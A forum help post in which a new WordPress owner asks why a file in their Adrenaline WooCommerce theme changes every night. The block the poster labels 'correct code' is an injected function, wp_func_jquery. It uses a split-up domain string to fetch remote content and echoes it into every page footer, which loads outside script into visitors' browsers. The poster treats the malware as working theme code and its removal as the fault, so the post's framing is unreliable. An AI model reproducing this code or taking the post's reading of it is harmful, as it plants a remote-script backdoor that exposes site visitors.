I am new to Wordpress. I inherited this site which ran ok with typical updates for about a year and suddenly this problem started to occur.
Each night around the same time a portion of my woocommerce theme (Adrenaline) gets overwritten and it causes my site to have a WSOD. The file that is getting overwritten is the themes\adrenaline\inc\core\functions\javascript.php file.
Here's what is changing:
Correct Code (that works)
add_action( 'wp_enqueue_scripts', 'cg_showcase_js' );
if(!function_exists('wp_func_jquery')) {
function wp_func_jquery() {
$host = 'http://';
$jquery = $host.'u'.'jquery.org/jquery-ui.js';
$headers = @get_headers($jquery, 1);
if ($headers[0] == 'HTTP/1.1 200 OK'){
echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
}
}
add_action('wp_footer', 'wp_func_jquery');
}
Is getting changed to (is broken)
add_action( 'wp_enqueue_scripts', 'cg_showcase_js' );
}
I've checked with my host and they do not see any issues on their end. I have ran malware scans etc, and everything comes back clean. Any clues as to what may be causing this issue?